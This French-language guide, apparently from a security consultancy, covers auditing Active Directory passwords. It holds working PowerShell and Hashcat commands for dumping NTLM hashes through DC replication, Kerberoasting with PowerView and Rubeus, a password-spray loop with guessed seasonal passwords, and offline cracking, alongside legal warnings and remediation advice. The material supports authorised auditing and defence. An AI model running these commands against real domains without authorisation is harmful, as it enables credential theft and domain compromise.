Audit Mot de Passe Active Directory 2026 : Guide Complet

Un audit des mots de passe Active Directory révèle en moyenne **30 à 40% de comptes avec un mot de passe faible ou compromis** en entreprise. Ce guide détaille la méthode complète d'audit — de l'extraction des hashes NTLM au crackage avec Hashcat — les outils légaux (DSInternals, Invoke-Kerberoast, BloodHound) et les contre-mesures à déployer en priorité pour sécuriser votre domaine AD.

L'**audit mot de passe Active Directory** est l'une des étapes les plus révélatrices d'un pentest ou d'un audit de sécurité interne. En testant la robustesse des mots de passe de votre domaine Active Directory, vous identifiez les comptes vulnérables au password spray, à la compromission par dictionnaire ou aux attaques Kerberoasting avant qu'un attaquant réel ne le fasse. En 2026, les équipes offensives utilisent systématiquement **DSInternals**, **Invoke-Kerberoast**, **BloodHound** et **Hashcat** pour cartographier les failles de politique de mot de passe dans les domaines Active Directory des entreprises françaises. Lors de nos missions d'audit, plus de 35% des comptes testés présentaient un mot de passe compromis ou figurant dans les bases Have I Been Pwned — un chiffre alarmant qui traduit l'insuffisance des politiques de renouvellement basées uniquement sur la complexité. Ce guide vous propose la méthode complète d'audit des mots de passe Active Directory, de l'extraction des hashes NTLM jusqu'à la présentation des résultats au COMEX, avec des scripts PowerShell prêts à l'emploi et une approche éthique et légale adaptée aux audits internes comme aux pentests mandatés. En fin d'article, vous trouverez les recommandations 2026 du NIST et de l'ANSSI pour refondre votre politique de mot de passe AD.

Environnement de test : Windows Server 2022 (2 contrôleurs de domaine), Active Directory Domain Services niveau fonctionnel 2016, PowerShell 7.4, DSInternals 4.14, Hashcat 6.2.6 sur GPU RTX 4090, BloodHound CE 6.1. Wordlists : rockyou2024.txt (14 millions), HIBP v8 (850 millions de hashes NTLM). Tests réalisés sur laboratoire isolé — ne jamais tester en production sans autorisation écrite préalable.

⚠️ **Avertissement légal** : L'audit de mots de passe Active Directory est légal **uniquement avec l'autorisation écrite du propriétaire du système**. Ce guide est destiné aux administrateurs systèmes, RSSI et pentesters mandatés. Toute utilisation non autorisée est punissable sous l'article 323-1 du Code Pénal (jusqu'à 2 ans d'emprisonnement et 60 000 € d'amende). Obtenez toujours un bon de commande ou une lettre d'autorisation signée avant tout test.

Pourquoi auditer les mots de passe de votre Active Directory ?

L'Active Directory est le cœur de l'infrastructure d'identité de la grande majorité des entreprises françaises. En 2026, **80% des cyberattaques réussies** impliquent une compromission de credentials AD selon le rapport Verizon DBIR. Pourtant, la majorité des organisations ne réalisent jamais d'audit proactif de leurs mots de passe — elles attendent qu'une violation soit détectée par leur SOC ou, pire, par une alerte HaveIBeenPwned.

Les raisons d'auditer régulièrement les mots de passe AD sont multiples :

Détection proactive : identifier les comptes avec des mots de passe dans les listes compromises (HIBP, RockYou, Collection #1-5) avant un attaquant

Conformité : NIS 2 (article 21), ISO 27001 (contrôle A.9.4.3) et DORA exigent une gestion rigoureuse des mots de passe

Password reuse : des mots de passe identiques entre comptes admin et utilisateur créent des chemins d'escalade de privilèges triviaux

Comptes de service : souvent avec des mots de passe anciens, complexes mais statiques depuis des années, vulnérables au Kerberoasting

Mesure de maturité : l'audit quantifie l'efficacité réelle de votre politique de mot de passe, au-delà des contrôles configurés dans les GPO

Un audit mot de passe AD réalisé dans le cadre d'un audit Active Directory complet révèle systématiquement des failles que les outils de scan de vulnérabilités classiques ne détectent pas.

Prérequis légaux et techniques pour un audit mot de passe AD

Avant de commencer, assurez-vous d'avoir :

Autorisation écrite : bon de commande, lettre de mission ou contrat signé mentionnant explicitement le test des mots de passe

Droits Active Directory : compte membre du groupe *Domain Admins* ou *Backup Operators* pour DSInternals (réplication DC) ; un compte utilisateur standard pour Kerberoasting et password spray

Environnement isolé : pour le crackage Hashcat, un poste ou serveur isolé du réseau de production (les wordlists et les hashes ne doivent jamais transiter en clair sur le réseau d'entreprise)

Fenêtre de maintenance : l'extraction par réplication DC peut générer un trafic réseau inhabituel — planifier hors heures ouvrées

Outils nécessaires :

DSInternals 4.14+ (module PowerShell, GitHub Michael Grafnetter)

Invoke-Kerberoast (PowerSploit / PowerView)

BloodHound CE pour la cartographie des chemins d'attaque

Hashcat 6.2.6+ avec GPU dédié pour le crackage

Listes de mots de passe : rockyou2024.txt, HIBP v8 (format NTLM)

Méthode 1 — Extraction des hashes NTLM avec DSInternals

DSInternals est un module PowerShell open source permettant d'extraire les hashes NTLM directement depuis le service de réplication Active Directory, sans toucher au fichier `NTDS.dit` sur disque. Cette approche est moins intrusive et souvent non détectée par les EDR configurés uniquement pour surveiller `ntdsutil`.

```
 # Installation DSInternals
Install-Module -Name DSInternals -Force

# Extraction des hashes NTLM via réplication DC
$dc = 'DC01.contoso.local'
$hashes = Get-ADReplAccount -All -Server $dc -Credential (Get-Credential)

# Exporter en format Hashcat (mode 1000 = NTLM)
$hashes | Format-Custom -View HashcatNT | Set-Content -Encoding ASCII /tmp/ntlm_hashes.txt

# Vérifier les mots de passe contre Have I Been Pwned (comparaison locale)
$hibpFile = 'C:\Audit\hibp-ntlm-ordered-by-hash.txt'
Test-PasswordQuality -AccountsFile $hashes -WeakPasswordsFile $hibpFile -IncludeDisabledAccounts
```

Le rapport CSV généré par `Test-PasswordQuality` contient :

Comptes avec mots de passe dans HIBP (compromis)

Comptes avec mots de passe dupliqués (reused)

Comptes sans expiration de mot de passe

Comptes avec le mot de passe égal au nom du compte

Comptes avec le mot de passe vide

Méthode 2 — Kerberoasting avec Invoke-Kerberoast

Le *Kerberoasting* est une technique d'attaque ciblant les comptes de service Active Directory disposant d'un **Service Principal Name (SPN)**. Elle est réalisable depuis **n'importe quel compte utilisateur authentifié** — aucun droit élevé requis — ce qui en fait un vecteur d'attaque particulièrement dangereux à auditer.

```
 # Kerberoasting avec PowerView (PowerSploit)
Import-Module .\PowerView.ps1

# Lister tous les comptes avec SPN
Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet

# Extraire les tickets Kerberos (TGS) pour crackage hors ligne
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File /tmp/kerb

# Avec Rubeus (alternative plus moderne et OPSEC-friendly)
.\Rubeus.exe kerberoast /format:hashcat /outfile:/tmp/kerberoast_rubeus.txt /rc4opsec
```

Les tickets extraits sont au format **$krb5tgs$23$** (RC4, mode Hashcat 13100) ou **$krb5tgs$18$** (AES256, mode 19700, beaucoup plus lent à cracker). Les comptes de service avec RC4 encore activé sont la cible prioritaire.

Consultez notre guide d'audit Active Directory complet pour l'intégration du Kerberoasting dans une méthodologie d'audit structurée.

Méthode 3 — Password Spray en environnement de test

Le *password spray* teste un petit nombre de mots de passe courants contre l'ensemble des comptes du domaine, en respectant le seuil de verrouillage (lockout policy). Contrairement au brute-force ciblé, il évite les blocages de compte et reste difficile à détecter sans SIEM configuré.

```
 # Récupérer la politique de lockout AVANT tout test
Get-ADDefaultDomainPasswordPolicy | Select-Object LockoutThreshold, LockoutObservationWindow, Loc

# Liste des comptes actifs
$users = Get-ADUser -Filter {Enabled -eq $true} | Select-Object -ExpandProperty SamAccountName

# Password spray manuel sécurisé (1 seul mot de passe testé)
$testPassword = "Bienvenue2026!"
$domain = "CONTOSO"

foreach ($user in $users) {
    try {
        $cred = New-Object System.Management.Automation.PSCredential("$domain\$user",
            (ConvertTo-SecureString $testPassword -AsPlainText -Force))
        $null = New-Object DirectoryServices.DirectoryEntry(
            "LDAP://DC01.contoso.local", $cred.UserName, $cred.GetNetworkCredential().Password)
        Write-Host "[SUCCESS] $user : $testPassword" -ForegroundColor Red
    } catch { }
    Start-Sleep -Milliseconds 500
}
```

Mots de passe saisonniers à tester systématiquement : `Bienvenue2026!`, `Janvier2026!`, `Printemps2026!`, `Azerty@2026`, `P@ssw0rd2026`, `NomEntreprise2026!`.

Crackage des hashes NTLM avec Hashcat

Une fois les hashes NTLM extraits, le crackage hors ligne avec **Hashcat** permet de retrouver les mots de passe en clair. Sur un GPU RTX 4090, Hashcat atteint **100 milliards de hashes NTLM par seconde** — un mot de passe de 8 caractères alphanumériques est cracké en moins de 5 minutes.

```
# Mode 1000 = NTLM
hashcat -m 1000 -a 0 /tmp/ntlm_hashes.txt /wordlists/rockyou2024.txt
hashcat -m 1000 -a 0 /tmp/ntlm_hashes.txt /wordlists/rockyou2024.txt -r /rules/best64.rule
hashcat -m 1000 -a 0 /tmp/ntlm_hashes.txt /wordlists/hibp-ntlm-v8.txt --username
hashcat -m 1000 -a 3 /tmp/ntlm_hashes.txt ?u?l?l?l?l?d?d?s
hashcat -m 1000 /tmp/ntlm_hashes.txt --show
```

Wordlists recommandées (par efficacité décroissante) :

HIBP v8 (850 millions de hashes NTLM connus compromis) — téléchargeable sur haveibeenpwned.com

rockyou2024.txt (14 millions de mots de passe courants)

SecLists/Passwords/Common-Credentials/ (listes spécifiques entreprises françaises)

Wordlists personnalisées basées sur le nom de l'entreprise, la ville, le secteur

---

Analyse des résultats — Ce que révèle un audit mot de passe AD

L'analyse des résultats d'un audit mot de passe Active Directory est aussi importante que la collecte des données. Voici les indicateurs clés à présenter dans votre rapport.

Mots de passe dans Have I Been Pwned

Tout mot de passe présent dans la base HIBP est considéré comme **compromis** — peu importe sa complexité apparente. Un mot de passe comme `P@ssw0rd1` figure dans HIBP des millions de fois. La comparaison locale par hash (sans envoi en clair vers l'API HIBP) permet d'auditer l'intégralité du domaine sans aucune fuite de données. DSInternals intègre cette vérification nativement avec `Test-PasswordQuality`.

Mots de passe dupliqués entre comptes

Le *password reuse* interne est un risque majeur : si un compte utilisateur standard et un compte admin partagent le même mot de passe, la compromission du compte utilisateur permet immédiatement l'escalade de privilèges. DSInternals détecte les hashes NTLM identiques entre comptes, même si les mots de passe ne sont jamais affichés en clair. En moyenne, **15 à 25% des comptes AD** présentent du password reuse lors de nos audits.

Comptes sans expiration de mot de passe

Les comptes configurés avec `PasswordNeverExpires = True` sont particulièrement problématiques pour les comptes de service Kerberoastable. Un mot de passe non changé depuis 3, 5 ou 10 ans a statistiquement plus de chances d'être compromis ou de figurer dans une base HIBP récente.

Tableau de synthèse des vulnérabilités les plus fréquentes

Vulnérabilité	Prévalence*	Criticité	Remédiation
Mot de passe HIBP	25-40%	**CRITIQUE**	Réinitialisation forcée + Azure AD Password Protection
Password Reuse	15-25%	**CRITIQUE**	Cloisonnement comptes admin/user + LAPS
PasswordNeverExpires	30-60%	**HAUTE**	FGPP + rotation forcée annuelle minimum
Kerberoasting SPN	10-30%	**HAUTE**	MSA/gMSA + AES uniquement + mots de passe 25+ chars
Mot de passe = login	5-15%	**MOYENNE**	Azure AD Password Protection custom banned list
Mots de passe courts (≤8 chars)	5-20%	**MOYENNE**	Minimum 12 chars recommandé ANSSI 2026

*Prévalence observée lors des missions d'audit Ayi NEDJIMI Consultants sur des domaines AD de 100 à 5000 comptes.

Politique de mot de passe AD — Recommandations 2026

Les recommandations de l'ANSSI sur les mots de passe et du NIST SP 800-63B ont évolué en 2026 : fini la complexité obligatoire avec rotation tous les 90 jours — place à la **longueur et à la vérification contre les listes compromises**.

Configuration recommandée dans les GPO Active Directory :

Longueur minimale : **12 caractères** (minimum absolu) — viser 14-16 pour les comptes à privilèges

Complexité : **désactiver la règle de complexité Windows** (elle pousse à des patterns prévisibles) ; utiliser Azure AD Password Protection à la place

Historique : **24 derniers mots de passe** mémorisés minimum

Expiration : **365 jours maximum** pour les utilisateurs standard — 90 jours pour les comptes à privilèges

Vérification HIBP : **Azure AD Password Protection** avec listes personnalisées (nom de l'entreprise, ville, secteur)

Comptes de service : utiliser des **Group Managed Service Accounts (gMSA)** avec rotation automatique

Comptes admin tier 0/1 : obligatoirement sous **MFA + PAM/CyberArk**

Fine-Grained Password Policies (FGPP) : utilisez les PSO (Password Settings Objects) pour appliquer des politiques différenciées par groupe — plus strictes pour les admins, adaptées aux comptes de service.

Pour aller plus loin, consultez notre guide sur le pentest Active Directory et notre article sur le RSSI externalisé PME pour cadrer l'audit dans une démarche de gouvernance globale.

Présentation des résultats au RSSI et au COMEX

Un audit mot de passe AD sans rapport exploitable reste sans impact. La présentation au COMEX doit :

Quantifier le risque : "35% de nos comptes ont un mot de passe compromis" est plus percutant que "nous avons des mots de passe faibles"

Illustrer l'impact business : coût médian d'une violation de données (4,9 M$ selon IBM 2025), durée moyenne de détection (200 jours)

Hiérarchiser les remédiations : tableau de priorité avec effort vs impact

Fixer un plan d'action SMART : "Réinitialiser 100% des comptes HIBP sous 30 jours, déployer LAPS sous 60 jours"

L'audit mot de passe s'intègre naturellement dans une démarche plus large d'audit Active Directory complet selon la matrice MITRE ATT&CK T1110 (Brute Force).

FAQ — Audit mot de passe Active Directory

L'audit de mots de passe Active Directory est-il légal ?

Oui, sous conditions strictes. L'audit de mots de passe AD est légal uniquement avec l'autorisation écrite explicite du propriétaire du système d'information. Dans un contexte interne (RSSI ou DSI qui audite son propre domaine), il convient de disposer d'une délégation formelle de la direction générale documentée dans la politique de sécurité. Pour un prestataire externe (pentest), un contrat de prestation et une lettre d'autorisation signée sont indispensables. Sans ces éléments, les articles 323-1 à 323-8 du Code Pénal s'appliquent.

Quels outils utiliser pour auditer les mots de passe Active Directory ?

Pour un audit légitime et complet, la stack recommandée en 2026 est : **DSInternals** (extraction NTLM via réplication DC), **Invoke-Kerberoast / Rubeus** (tickets Kerberos), **BloodHound CE** (cartographie des chemins d'escalade), **Hashcat** (crackage hors ligne GPU) et la base **HIBP v8** pour la vérification contre les mots de passe compromis. Pour la remédiation, **Azure AD Password Protection** et **LAPS v2** sont les outils Microsoft natifs incontournables.

Comment détecter les mots de passe compromis dans Active Directory ?

La méthode la plus efficace est la comparaison locale des hashes NTLM avec la base Have I Been Pwned (HIBP), téléchargeable gratuitement. DSInternals permet de faire cette comparaison sans jamais envoyer les hashes sur Internet. Pour une protection en temps réel, Azure AD Password Protection synchronise une liste de mots de passe bannis directement dans l'Active Directory et bloque tout changement correspondant à un mot de passe compromis connu.

Quelle politique de mot de passe AD appliquer en 2026 ?

Les recommandations ANSSI 2026 et NIST SP 800-63B convergent : privilégiez la **longueur (≥12 caractères minimum, 16 pour les admins)** sur la complexité arbitraire. Supprimez la rotation forcée tous les 90 jours (source de patterns prévisibles) au profit d'une rotation déclenchée uniquement en cas de compromission détectée. Déployez **Azure AD Password Protection** avec une liste personnalisée incluant le nom de l'entreprise, les services et les termes métier. Pour les comptes de service, migrez vers les **gMSA** (Group Managed Service Accounts) avec rotation automatique des mots de passe par Active Directory.

La longueur ou la complexité : que recommande le NIST en 2026 ?

Le NIST SP 800-63B (édition 2024, toujours référence en 2026) recommande clairement la longueur sur la complexité. Ses recommandations clés : longueur minimale 8 caractères (15 recommandé), **interdire les mots de passe compromis** (vérification HIBP obligatoire), supprimer les règles de composition arbitraires, ne pas imposer de rotation périodique sauf en cas de compromission avérée, autoriser tous les caractères Unicode.

Conclusion — Intégrer l'audit mot de passe dans votre cycle de sécurité

L'audit mot de passe Active Directory n'est pas un exercice ponctuel : c'est un contrôle continu à intégrer dans votre cycle de sécurité annuel, idéalement en parallèle de votre audit Active Directory global. Les résultats alimentent votre plan de remédiation, vos politiques de mot de passe (FGPP, Azure AD Password Protection) et vos reportings NIS 2 / ISO 27001. En 2026, ne pas auditer ses mots de passe AD, c'est laisser une porte ouverte que tout attaquant expérimenté franchira en moins d'une heure. La détection proactive, combinée à LAPS, MFA et gMSA, réduit drastiquement la surface d'attaque liée aux credentials.

À RETENIR

À RETENIR — AUDIT MOT DE PASSE ACTIVE DIRECTORY 2026

- En moyenne **35% des comptes AD** présentent un mot de passe compromis ou réutilisé dans les entreprises françaises
- **DSInternals + Test-PasswordQuality** est la méthode la moins intrusive et la plus complète pour l'audit interne
- Le Kerberoasting cible les comptes de service avec SPN — migrer vers les gMSA pour y remédier
- Le NIST SP 800-63B recommande la **longueur (≥12 chars) sur la complexité** et la vérification HIBP
- L'audit mot de passe est un contrôle continu, pas un exercice ponctuel — planifier annuellement minimum

Sans autorisation écrite préalable, l'audit de mots de passe est une infraction pénale (art. 323-1 C.Pén.)